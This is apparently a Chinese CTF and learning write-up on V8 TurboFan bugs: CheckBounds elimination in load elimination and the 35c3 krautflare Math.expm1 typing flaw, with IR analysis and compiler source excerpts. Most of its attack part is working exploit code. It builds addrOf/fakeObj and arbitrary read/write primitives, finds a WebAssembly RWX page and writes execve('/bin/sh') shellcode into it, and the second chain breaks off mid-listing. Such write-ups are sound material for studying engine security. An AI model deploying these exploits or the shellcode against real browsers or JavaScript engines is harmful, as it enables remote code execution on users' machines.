  Node* index = node->InputAt(0);
  Node* limit = node->InputAt(1);
  const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());

  Node* check = __ Uint32LessThan(index, limit);
  switch (params.mode()) {
    case CheckBoundsParameters::kDeoptOnOutOfBounds:
      __ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
                         params.check_parameters().feedback(), check,
                         frame_state, IsSafetyCheck::kCriticalSafetyCheck);
      break;
    case CheckBoundsParameters::kAbortOnOutOfBounds: {
      auto if_abort = __ MakeDeferredLabel();
      auto done = __ MakeLabel();

      __ Branch(check, &done, &if_abort);

      __ Bind(&if_abort);
      __ Unreachable();
      __ Goto(&done);

      __ Bind(&done);
      break;
    }
  }
  return index;
}

但是我好像没有从上面的代码中发现节点替换的代码…

看下 IR 图:
在这里插入图片描述
然后在 LateOptimizationUint32LessThanMachineOperatorReducer::reducer 被进一步优化,由于这里的 demo 没有写好,所以这里没有较大的区别。
经过上面的分析,写出第一版 poc

const {log} = console;

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        let idx = (x == "pwn"?1:4);
        return tmp_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
        trigger("pwn");
}
log(trigger("nopwn"));
// 输出:
// undefined

可以看到这里输出的居然是 undefined,直接看下 LateOptimization 阶段的 IR 图:
在这里插入图片描述
可以看到这里由于是一个 phi 节点,所以不会被漏洞逻辑优化(其实我还是不太理解什么叫做 Foldable,目前我理解的是常量)
于是构造第二版 poc

const {log} = console;

function trigger(x) {
       let tmp_arr = [1.1, 1.2, 1.3, 1.4];
       let idx = 4;
       return tmp_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
       trigger("pwn");
}
log(trigger("nopwn"));
// 输出:
// undefined

还是输出的 undefined,分析一下 IR 图。
LateOptimization 阶段:
在这里插入图片描述
这里是直接返回 undefined,看来是直接被优化掉了,这里就往前分析下。

Typer 阶段:
在这里插入图片描述
这里是正常的。

SimplifiedLowering 阶段:
在这里插入图片描述
可以看到这里的 LoadElement 直接被优化掉了,直接就是返回 undefined

可能是一次错误的分析
很明显,这里的 LoadElementLoadElimination 阶段被优化掉了。
LoadEliminationPhase 趟:

struct LoadEliminationPhase {
  static const char* phase_name() { return "V8.TFLoadElimination"; }

  void Run(PipelineData* data, Zone* temp_zone) {
......
    AddReducer(data, &graph_reducer, &branch_condition_elimination);
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &redundancy_elimination);
    AddReducer(data, &graph_reducer, &load_elimination);
    AddReducer(data, &graph_reducer, &type_narrowing_reducer);
    AddReducer(data, &graph_reducer, &constant_folding_reducer);
    AddReducer(data, &graph_reducer, &typed_optimization);
    AddReducer(data, &graph_reducer, &checkpoint_elimination);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &value_numbering);
    graph_reducer.ReduceGraph();
  }
};

LoadElimination::Reduce

Reduction LoadElimination::Reduce(Node* node) {
  if (FLAG_trace_turbo_load_elimination) {
......
  }
  switch (node->opcode()) {
......
    case IrOpcode::kLoadElement:
      return ReduceLoadElement(node);
......
    default:
      return ReduceOtherNode(node);
  }
  return NoChange();
}

LoadElimination::ReduceLoadElement

Reduction LoadElimination::ReduceLoadElement(Node* node) {
  Node* const object = NodeProperties::GetValueInput(node, 0);
  Node* const index = NodeProperties::GetValueInput(node, 1);
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();

  // Only handle loads that do not require truncations.
  ElementAccess const& access = ElementAccessOf(node->op());
  switch (access.machine_type.representation()) {
    case MachineRepresentation::kNone:
    case MachineRepresentation::kBit:
    case MachineRepresentation::kWord8:
    case MachineRepresentation::kWord16:
    case MachineRepresentation::kWord32:
    case MachineRepresentation::kWord64:
    case MachineRepresentation::kFloat32:
      // TODO(turbofan): Add support for doing the truncations.
      break;
    case MachineRepresentation::kFloat64:
    case MachineRepresentation::kSimd128:
    case MachineRepresentation::kTaggedSigned:
    case MachineRepresentation::kTaggedPointer:
    case MachineRepresentation::kTagged:
    case MachineRepresentation::kCompressedSigned:
    case MachineRepresentation::kCompressedPointer:
    case MachineRepresentation::kCompressed:
      if (Node* replacement = state->LookupElement(
              object, index, access.machine_type.representation())) {
        // Make sure we don't resurrect dead {replacement} nodes.
        // Skip lowering if the type of the {replacement} node is not a subtype
        // of the original {node}'s type.
        // TODO(tebbi): We should insert a {TypeGuard} for the intersection of
        // these two types here once we properly handle {Type::None} everywhere.
        if (!replacement->IsDead() && NodeProperties::GetType(replacement)
                                          .Is(NodeProperties::GetType(node))) {
          ReplaceWithValue(node, replacement, effect);
          return Replace(replacement);
        }
      }
      state = state->AddElement(object, index, node,
                                access.machine_type.representation(), zone());
      return UpdateState(node, state);
  }
  return NoChange();
}

看下源码好像不对劲,乐,好像分析错了…

再分析
查找了一些资料,参考

前面的分析也不是错吧,但是好像没有分析到要点,导致不知道怎么更新 poc

使用 trace-turbo-reduction 命令跟踪节点的修改与替换:

- In-place update of 35: NumberLessThan(34, 17) by reducer TypeNarrowingReducer
- Replacement of 35: NumberLessThan(34, 17) with 46: HeapConstant[0x03c04b480709 <false>] by reducer ConstantFoldingReducer
- In-place update of 36: Branch[True|CriticalSafetyCheck](46, 13) by reducer BranchElimination
- Replacement of 36: Branch[True|CriticalSafetyCheck](46, 13) with 78: Dead by reducer CommonOperatorReducer
- Replacement of 38: LoadElement[tagged base, 16, Number, kRepFloat64|kTypeNumber, FullWriteBarrier](67, 34, 34, 78) with 78: Dead by reducer DeadCodeElimination
- Replacement of 43: Return(23, 78, 78, 78) with 78: Dead by reducer DeadCodeElimination

从上面的输出可以知道,这里的 NumberLessThan 直接被替换成了 false,所以后面就是直接走 ifFalse 路径了,跟 LoadElement 就没啥关系了,所以 LoadElement 就成了 Dead 节点了,所以直接被清除了。
在这里插入图片描述
NumberLessThan 节点则是先经过了 TypeNarrowingReducer 处理,然后在被 ConstantFoldingReducer 进行了常数折叠,所以这里就很明显了,因为 CheckBounds 的值为 Range(4,4),所以 NumberLessThan 经过 TypeNarrowingReducer 后其值就是 false,后面自然就会被折叠。

所以这里需要让 CheckBounds 的值为一个范围(这里建议看下上面参考文章的源码分析),但这里第一版的 poc 就是利用的 phi 节点,但是后面没有被漏洞逻辑优化。
正确的 phi 节点 poc

const {log} = console;

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        let idx = 0;
        if (x = "pwn") {
                idx = 4;
        }
        return tmp_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
        trigger("pwn");
}
log(trigger("pwn"));

错误的 phi 节点 poc

const {log} = console;

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        let idx = 0;
        if (x == "pwn") {
                idx = 4;
        }
        return tmp_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
        trigger("pwn");
}
log(trigger("pwn"));

这里我们只是希望 CheckBounds 节点的值是一个范围而不保留 phi 节点,所以在正确的 poc 中会在 typer 阶段产生 phi 节点,但是在 typer lowering 阶段会被消除,因为 x = "pwn" 恒为真。
typer lowering 阶段:在这里插入图片描述
late optimizetion 阶段:
在这里插入图片描述
当然文章中还给了两种方案,本质就是让 idx 的值为一个常数,但是在 LoadElimination 阶段前,CheckBounds 的值为一个范围:

  • 1)idx &= 0xfff
  • 2)逃逸分析

idx &= 0xfff

const {log} = console;

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        let idx = 4;
        idx &= 0xfff;
        return tmp_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
        trigger("pwn");
}
log(trigger("pwn"));

typer 阶段:在这里插入图片描述
可以看到这里 SpeculativeNumberBitwiseAnd 的值为 Range(0, 4),所以后面的 CheckBounds 的值为 Range(0, 4),这似乎不符合常理,因为 4 & 0xfff 不就恒等于 4 吗?SpeculativeNumberBitwiseAnd 的值为啥不是 Range(4, 4) 呢?嗯…源码不会骗人,来看看源码,这里对 SpeculativeNumberBitwiseAnd 的优化最后会调用到 OperationTyper::NumberBitwiseAnd 函数,这里以 lhs = 4, rhs = 0xfff 为例子进行注释:

Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToInt32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  double lmin = lhs.Min(); // lmin = 4
  double rmin = rhs.Min(); // rmin = 0xfff
  double lmax = lhs.Max(); // lmax = 4
  double rmax = rhs.Max(); // rmax = 0xfff
  double min = kMinInt;	// min = 最小的 31 bit 数
  // And-ing any two values results in a value no larger than their maximum.
  // Even no larger than their minimum if both values are non-negative.
  // max = min(lmax, rmax) = 4
  double max =
      lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
  // And-ing with a non-negative value x causes the result to be between
  // zero and x.
  if (lmin >= 0) { // 4 >= 0 条件成立
    min = 0;	// min = 0
    max = std::min(max, lmax); // max = min(4, 4) = 4
  }
  if (rmin >= 0) { // 0xfff >= 0 条件成立
    min = 0;	// min = 0
    max = std::min(max, rmax); // max = min(4, 0xfff) = 4
  }
  // min = 0, max = 4
  // 所以最后的值就是 Range(min, max) = Range(0, 4)
  return Type::Range(min, max, zone());
}

逃逸分析
由于 LoadElimination 阶段在 EscapeAnalysis 阶段前面,所以可以利用其来保留 idx 的值,这里参考下面的 35c3CTF-krautflare 题目(没错,我是先做的下一题…)

const {log} = console;

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        let idx = { i: 4 };
        return tmp_arr[idx.i];
}

for (let i = 0; i < 0x100000; i++) {
        trigger("pwn");
}
log(trigger("pwn"));

漏洞利用
这里其实就跟 starCTF OOB 这题非常像了,off by one 构造 addrOffakeObj 原语。

const {log} = console;

//let debug = (o) => {
//      %DebugPrint(o);
//      %SystemBreak();
//};

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

let d2l = (v) => {
        d_buf[0] = v;
        return l_buf[0];
};

let l2d = (v) => {
        l_buf[0] = v;
        return d_buf[0];
};

let hexx = (str, v) => {
        log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};

var float_arr = [];
var obj_arr = [];
function get_float_map(x) {
        float_arr = [1.1, 1.2, 1.3, 1.4];
        obj_arr = [float_arr];
        let idx = 0;
        if (x = "pwn") {
                idx = 4;
        }
        return float_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
        get_float_map("pwn");
}

var float_map = d2l(get_float_map("pwn"));
var obj_map = float_map + 0xa0n;
hexx("float_map", float_map);
hexx("obj_map  ", obj_map);

float_map = l2d(float_map);
obj_map = l2d(obj_map);

function pre_fakeObj(addr) {
        float_arr = [addr, 1.2, 1.3, 1.4];
        let idx = { i: 4 };
        float_arr[idx.i] = obj_map;
        return float_arr;
}

for (let i = 0; i < 0x100000; i++) {
        pre_fakeObj(float_map);
}

function fakeObj(addr) {
        return (pre_fakeObj(addr))[0];

}

var float_map_obj = fakeObj(float_map);
log("float_map_obj is \033[31m" + typeof float_map_obj + '\033[0m');

function pre_addrOf(obj) {
        obj_arr = [obj];
        let idx = { i: 1 };
        obj_arr[idx.i] = float_map_obj;
        return obj_arr;
}

for (let i = 0; i < 0x100000; i++) {
        pre_addrOf(float_arr);
}

function addrOf(obj) {
        return (pre_addrOf(obj))[0];
}

var float_arr_addr = d2l(addrOf(float_arr));
hexx("float_arr_addr", float_arr_addr);

var fake_arr = [float_map, 0, 5.21, l2d(0x2000000000n)];
var fake_arr_addr = d2l(addrOf(fake_arr));
var fake_obj_addr = fake_arr_addr - 0x20n;
hexx("fake_arr_addr", fake_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);

var fake_obj = fakeObj(l2d(fake_obj_addr));
log("fake_obj is \033[31m" + typeof fake_obj + '\033[0m');

function arb_read(addr) {
        fake_arr[2] = l2d(addr - 0x10n);
        return d2l(fake_obj[0]);
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var wasm_instance_addr = d2l(addrOf(wasm_instance));
hexx("wasm_instance_addr", wasm_instance_addr);

var rwx_addr = arb_read(wasm_instance_addr + 0x88n);
hexx("rwx_addr", rwx_addr);

var arb_buf = new ArrayBuffer(0x200);
var dv = new DataView(arb_buf);

var arb_buf_addr = d2l(addrOf(arb_buf));
hexx("arb_buf_addr", arb_buf_addr);

fake_arr[2] = l2d(arb_buf_addr + 0x20n - 0x10n);
fake_obj[0] = l2d(rwx_addr);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

for (let i = 0; i < shellcode.length; i++) {
        dv.setBigInt64(i*8, shellcode[i], true);
}

pwn();

小问题
exp 的时候遇到了一些小问题,就是在构造 addrOffakeObj 原语时:

function pre_fakeObj(addr) {
        float_arr = [addr, 1.2, 1.3, 1.4];
        let idx = { i: 4 };
        float_arr[idx.i] = obj_map;
        return float_arr;
}

for (let i = 0; i < 0x100000; i++) {
        pre_fakeObj(float_map);
}

function addrOf(obj) {
        return (pre_addrOf(obj))[0];
}

可以看到这里是分成了两步,当我在 pre_fakeObj 中直接返回 float_arr[0] 时,一直无法成功 addrOf,原因可以看下 IR 图,这里就先留个坑,后面有时间再好好分析。

35c3CTF-krautflare【Issue 880207-Math.expm1()消除CheckBounds】

环境搭建

git checkout dde25872f58951bb0148cf43d6a504ab2f280485
gclient sync -D

漏洞分析
题目是根据 Issue 880207改的,题目 patch 如下:

commit 950e28228cefd1266cf710f021a67086e67ac6a6
Author: Your Name <you@example.com>
Date:   Sat Dec 15 14:59:37 2018 +0100

    Revert "[turbofan] Fix Math.expm1 builtin typing."

    This reverts commit c59c9c46b589deb2a41ba07cf87275921b8b2885.

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     // Unary math functions.
     case BuiltinFunctionId::kMathAbs:
     case BuiltinFunctionId::kMathExp:
+    case BuiltinFunctionId::kMathExpm1:
       return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
     case BuiltinFunctionId::kMathAcos:
     case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     case BuiltinFunctionId::kMathAtanh:
     case BuiltinFunctionId::kMathCbrt:
     case BuiltinFunctionId::kMathCos:
-    case BuiltinFunctionId::kMathExpm1:
     case BuiltinFunctionId::kMathFround:
     case BuiltinFunctionId::kMathLog:
     case BuiltinFunctionId::kMathLog1p:
diff --git a/test/mjsunit/regress/regress-crbug-880207.js b/test/mjsunit/regress/regress-crbug-880207.js
index 09796a9ff4..0f65ddb56b 100644
--- a/test/mjsunit/regress/regress-crbug-880207.js
+++ b/test/mjsunit/regress/regress-crbug-880207.js
@@ -4,34 +4,10 @@

 // Flags: --allow-natives-syntax

-(function TestOptimizedFastExpm1MinusZero() {
-  function foo() {
-    return Object.is(Math.expm1(-0), -0);
-  }
+function foo() {
+  return Object.is(Math.expm1(-0), -0);
+}

-  assertTrue(foo());
-  %OptimizeFunctionOnNextCall(foo);
-  assertTrue(foo());
-})();
-
-(function TestOptimizedExpm1MinusZeroSlowPath() {
-  function f(x) {
-    return Object.is(Math.expm1(x), -0);
-  }
-
-  function g() {
-    return f(-0);
-  }
-
-  f(0);
-  // Compile function optimistically for numbers (with fast inlined
-  // path for Math.expm1).
-  %OptimizeFunctionOnNextCall(f);
-  // Invalidate the optimistic assumption, deopting and marking non-number
-  // input feedback in the call IC.
-  f("0");
-  // Optimize again, now with non-lowered call to Math.expm1.
-  assertTrue(g());
-  %OptimizeFunctionOnNextCall(g);
-  assertTrue(g());
-})();
+assertTrue(foo());
+%OptimizeFunctionOnNextCall(foo);
+assertTrue(foo());

关于 Math.expm1 的实现存在两个漏洞,这里作者重新引入了 typer.cc 中的漏洞,即 Builtin 函数 Math.expm1 的返回类型为 Type::PlainNumber() || Type::NaN(),所以这里忽略了 -0,这里指明一下常见数字类型的范围:

  • PlainNumber:任意浮点数,不包含 -0
  • Number:任意浮点数,包含 -0NaN
  • Numeric:任意浮点数,包含 -0NaNBigInt

这里给的 poc 似乎存在问题,第一版 poc

const {log} = console;

function foo() {
        return Object.is(Math.expm1(-0), -0);
}

log(foo());
%OptimizeFunctionOnNextCall(foo);
log(foo());
// 输出:
// true
// true

来看看 typer 趟后的 IR 图:在这里插入图片描述
可以看到这里 Math.expm1 函数被优化成了 NumberExpm1 函数,而该函数的输出为 Number,其是包含 -0 的:

Type OperationTyper::NumberExpm1(Type type) {
  DCHECK(type.Is(Type::Number()));
  return Type::Number();
}

这里是因为 Math.expm1 函数的参数始终是数字,所以会导致这里的优化,而题目引入的漏洞在 typer.cc 中的函数上的,而 typer.cc 中的 JSCallTyper 函数是用来对内置函数进行优化的,所以这里需要产生一个 JSCALL 节点,这里其实就是让参数类型复杂化,以 add 为例:

const {log} = console;

function add(x) {
        return x + 1;
}
log(add(1));
%OptimizeFunctionOnNextCall(add);
log(add(2));

在这里插入图片描述
这里我们将参数复杂化:

const {log} = console;

function add(x) {
        return x + 1;
}
log(add("3"));
%OptimizeFunctionOnNextCall(add);
log(add(2));

在这里插入图片描述
回到题目,然后这里使用 %OptimizeFunctionOnNextCall 似乎始终无非按照预期进行优化:

const {log} = console;

function foo(x) {
        return Object.is(Math.expm1(x), -0);
}

log(foo(-0));
for (let i = 0; i < 0x10000; i++) {
        foo("-0");
}
log(foo(-0));

可以看到这里成功的产生了 JSCall 节点,返回值为 PlainNumber | NaN,不包括 -0,所以这里的 SameValue 节点恒为 false
在这里插入图片描述
之后的目的就是去扩大漏洞原语,在 javascript 中,布尔类型的值做整数运算时会被转换为 0/1

V8 version 7.3.0 (candidate)
d8> true + 1
2
d8> true * 4
4
d8> false + 1
1
d8> false * 5
0
d8>

所以这里可以利用该漏洞来消除 CheckBounds 节点,这里涉及到一些知识点,所以这里将一步一步的去解决相关问题。
第一版 poc

const {log} = console;
function foo(x) {
        let oob = [1.1, 1.2, 1.3, 1.4];
        let i = Object.is(Math.expm1(x), -0);
        return oob[i * 4];
}
for (let i = 0; i < 0x10000; i++) {
        foo("1");
}
log(foo(-0));
// 输出:
// 1.1

显然不符合预期,看下 IR 图,先直接看下 simplified lowering 阶段:
在这里插入图片描述
可以看到这里直接优化成了 oob[0],然后看下 typer 阶段:
在这里插入图片描述
可以看到,在 typer 阶段就已经确认了 SameValue 节点的值恒为 false,所以最后计算出来是索引就恒为 0,所以后面就直接优化成了 oob[0] 了。所以这里我们需要让 SameValue 节点在 simplified lowering 前不发生常数折叠:

Type OperationTyper::SameValue(Type lhs, Type rhs) {
  if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
  if (lhs.Is(Type::NaN())) {
    if (rhs.Is(Type::NaN())) return singleton_true();
    if (!rhs.Maybe(Type::NaN())) return singleton_false();
  } else if (rhs.Is(Type::NaN())) {
    if (!lhs.Maybe(Type::NaN())) return singleton_false();
  }
  if (lhs.Is(Type::MinusZero())) {
    if (rhs.Is(Type::MinusZero())) return singleton_true();
    if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
  } else if (rhs.Is(Type::MinusZero())) {
    if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
  }
  if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
      (lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
    return singleton_false();
  }
  return Type::Boolean();
}

这里看下这里恒为 false 的原因:

  • 1)Object.is 左边恒为 Math.expm1(-0)PlainNubmer | NaN
  • 2)Object.is 右边恒为 -0

而第一个条件是无法改变的,所以这里改变第二个条件。
第二版 poc

const {log} = console;

function foo(x, y) {
        let oob = [1.1, 1.2, 1.3, 1.4];
        let i = Object.is(Math.expm1(x), y);
        return oob[i * 4];
}
for (let i = 0; i < 0x10000; i++) {
        foo("-0", -0);
}
log(foo(-0, -0));

这个 poc 也有一个问题,就是在 simplified lowering 阶段 SameValue 仍然为 Boolean 类型,这是因为第二个参数的类型无法确定,导致无法去除 CheckBounds 检测:在这里插入图片描述
这里参考该文章
在这里插入图片描述
TypedLoweringPhase
来看下 TypedLoweringPhase 的代码:

struct TypedLoweringPhase {
  static const char* phase_name() { return "typed lowering"; }

  void Run(PipelineData* data, Zone* temp_zone) {
......
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &create_lowering);
    AddReducer(data, &graph_reducer, &constant_folding_reducer);
    AddReducer(data, &graph_reducer, &typed_lowering);
    AddReducer(data, &graph_reducer, &typed_optimization);
    AddReducer(data, &graph_reducer, &simple_reducer);
    AddReducer(data, &graph_reducer, &checkpoint_elimination);
    AddReducer(data, &graph_reducer, &common_reducer);
    graph_reducer.ReduceGraph();
  }
};

可以看到这里会先进行 constant_folding_reducer,然后再执行 typed_optimization,这里看下 typed_optimization 代码:

......
  Reduction ReduceConvertReceiver(Node* node);
  Reduction ReduceCheckHeapObject(Node* node);
  Reduction ReduceCheckMaps(Node* node);
  Reduction ReduceCheckNumber(Node* node);
  Reduction ReduceCheckString(Node* node);
  Reduction ReduceCheckEqualsInternalizedString(Node* node);
  Reduction ReduceCheckEqualsSymbol(Node* node);
  Reduction ReduceLoadField(Node* node);
  Reduction ReduceNumberFloor(Node* node);
  Reduction ReduceNumberRoundop(Node* node);
  Reduction ReduceNumberToUint8Clamped(Node* node);
  Reduction ReducePhi(Node* node);
  Reduction ReduceReferenceEqual(Node* node);
  Reduction ReduceStringComparison(Node* node);
  Reduction ReduceSameValue(Node* node);
  Reduction ReduceSelect(Node* node);
  Reduction ReduceSpeculativeToNumber(Node* node);
  Reduction ReduceCheckNotTaggedHole(Node* node);
  Reduction ReduceTypeOf(Node* node);
  Reduction ReduceToBoolean(Node* node);
......

可以看到这里对不同的节点会执行不同的 reduce,这里主要看下 ReduceSameValue

Reduction TypedOptimization::ReduceSameValue(Node* node) {
	// 检测是否是 SameValue 节点
  DCHECK_EQ(IrOpcode::kSameValue, node->opcode());
  	// lhs/rhs 分别为第一/二个 Value 输入
  Node* const lhs = NodeProperties::GetValueInput(node, 0);
  Node* const rhs = NodeProperties::GetValueInput(node, 1);
  	// lhs_type/rhs_type 分别为第一/二个 Value 输入类型
  Type const lhs_type = NodeProperties::GetType(lhs);
  Type const rhs_type = NodeProperties::GetType(rhs);
  	// 下面都有注释,都比较形象了
  if (lhs == rhs) {
    // SameValue(x,x) => #true
    return Replace(jsgraph()->TrueConstant());
  } else if (lhs_type.Is(Type::Unique()) && rhs_type.Is(Type::Unique())) {
    // SameValue(x:unique,y:unique) => ReferenceEqual(x,y)
    NodeProperties::ChangeOp(node, simplified()->ReferenceEqual());
    return Changed(node);
  } else if (lhs_type.Is(Type::String()) && rhs_type.Is(Type::String())) {
    // SameValue(x:string,y:string) => StringEqual(x,y)
    NodeProperties::ChangeOp(node, simplified()->StringEqual());
    return Changed(node);
  } else if (lhs_type.Is(Type::MinusZero())) {
    // SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
    node->RemoveInput(0);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
    return Changed(node);
  } else if (rhs_type.Is(Type::MinusZero())) {
    // SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
    node->RemoveInput(1);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
    return Changed(node);
  } else if (lhs_type.Is(Type::NaN())) {
    // SameValue(x:nan,y) => ObjectIsNaN(y)
    node->RemoveInput(0);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
    return Changed(node);
  } else if (rhs_type.Is(Type::NaN())) {
    // SameValue(x,y:nan) => ObjectIsNaN(x)
    node->RemoveInput(1);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
    return Changed(node);
  } else if (lhs_type.Is(Type::PlainNumber()) &&
             rhs_type.Is(Type::PlainNumber())) {
    // SameValue(x:plain-number,y:plain-number) => NumberEqual(x,y)
    NodeProperties::ChangeOp(node, simplified()->NumberEqual());
    return Changed(node);
  }
  return NoChange();
}

LoadEliminationPhase

struct LoadEliminationPhase {
  static const char* phase_name() { return "load elimination"; }

  void Run(PipelineData* data, Zone* temp_zone) {
......
    AddReducer(data, &graph_reducer, &branch_condition_elimination);
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &redundancy_elimination);
    AddReducer(data, &graph_reducer, &load_elimination);
    AddReducer(data, &graph_reducer, &type_narrowing_reducer);
    AddReducer(data, &graph_reducer, &constant_folding_reducer);
    AddReducer(data, &graph_reducer, &checkpoint_elimination);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &value_numbering);
    graph_reducer.ReduceGraph();
  }
};

可以看到这里会执行一次 type_narrowing_reducer,然后会进行常数折叠 constant_folding_reducer
EscapeAnalysisPhase
这里就不详细分析代码了(因为看也看不懂,乐),主要就是根据上面的文章做个记录。
逃逸对象与非逃逸对象
考虑如下代码:

function f() {
    let o = {a: 5};
    return o.a;
}

这里的 o 就是非逃逸对象,因为他的属性值 a 是不可变的,固定为 5,所以这里可以直接将 o.a 优化为 5,即:

function f() {
    let o_a = 5;
    return o_a;
}

原来的 o 是堆上的对象,而将其优化成了 o_a 为栈上的变量,访问速度更快了。如果这里添加一个函数 g

function f() {
    let o = {a: 5};
    g(o);
    return o.a;
}

这时 o 就是一个逃逸对象,不会像上面一样对对象再进行优化,其实也很容易想明白,在 g 中可能对对象 o 的属性进行修改。

回到题目,从上面我们知道了我们必须将 SameValue 节点稳定到 SimplifiedLoweringPhase 趟,而在 LoadEliminationPhase 趟会进行一次 typer 和常数折叠,所以这里就只能在 EscapeAnalysisPhase 趟中对 SameValue 进行确定化。
第三版 poc

const {log} = console;

function foo(x) {
        let oob = [1.1, 1.2, 1.3, 1.4];
        let y = { arg: -0 };
        let i = Object.is(Math.expm1(x), y.arg);
        return oob[i * 4];
}

for (let i = 0; i < 0x10000; i++) {
        foo("1");
}
log(foo(-0));
// 输出:
// 1.1337425637597e-310

typer 阶段:
在这里插入图片描述
可以看到这里的 SameValueBooleanSameValue 的一个输入为 LoadField 节点
typed lowering 阶段:
在这里插入图片描述
可以看到这里 SameValue 的一个输入为 LoadFiled 节点
EscapeAnalysisPhase 阶段:
在这里插入图片描述
可以看到经过逃逸分析,这里 SameValue 节点的一个输入已经由 LoadField 变成了 NumberConstant,后面在 simplified lowering 阶段即可被优化。
simplified lowering 阶段:
在这里插入图片描述
可以看到这里的 CheckBounds 节点已经被优化

其实这里还是有点懵的,因为在逃逸分析阶段,这里的 CheckBounds 节点的范围检测是 [0, 4],所以在 simplified lowering 按理说不应该被优化,但是这里好像说是在 simplified lowering 阶段进行了一次 typeing 所以最后计算出的 index 范围就是 [0, 0],所以被优化掉了,但是这里如果计算出来是 [0, 0],为啥不直接优化成 oob[0] 呢?当然这里还是得看源码,但是这里就先不管了(水平暂时不够)

漏洞利用
成功率不是百分百,但是非常高了。

const {log} = console;

//let debug = (o) => {
//      %DebugPrint(o);
//      %SystemBreak();
//};

let hexx = (str, num) => {
        print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
};

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

let d2l = (v) => {
        d_buf[0] = v;
        return l_buf[0];
};

let l2d = (v) => {
        l_buf[0] = v;
        return d_buf[0];
};

var oob = [];
var arr = [];

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        oob = [1.1, 1.2];
//      %DebugPrint(tmp_arr);
//      debug(oob);
        let y = { arg: -0 };
        let i = Object.is(Math.expm1(x), y.arg);
        tmp_arr[i * 11] = l2d(0x10000000000000n);
}

for (let i = 0; i < 0x10000; i++) {
        trigger("0");
}

trigger(-0);

var oob_length = 0x100000;

hexx("oob.legth", oob.length);
if (oob.length !== oob_length) {
        throw "FAILED to oob write oob.length";
}

for (let i = 0; i < 0x100; i++) {
        arr[i] = new ArrayBuffer(0x2024);
}

var oob_idx = -1;
for (let i = 0; i < oob_length - 1; i++) {
        if (d2l(oob[i]) === 0x2024n) {
                oob_idx = i + 1;
                oob[i] = l2d(0x2025n);
                break;
        }
}

if (oob_idx === -1) {
        throw "FAILED to find the ArrayBuffer OOB idx";
}

hexx("oob_idx", oob_idx);

var arr_idx = -1;
for (let i = 0; i < 0x100; i++) {
        if (arr[i].byteLength === 0x2025) {
                arr_idx = i;
                break;
        }
}

if (arr_idx === -1) {
        throw "FAILED to find arr_idx";
}

hexx("arr_idx", arr_idx);

var dv = new DataView(arr[arr_idx]);


var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
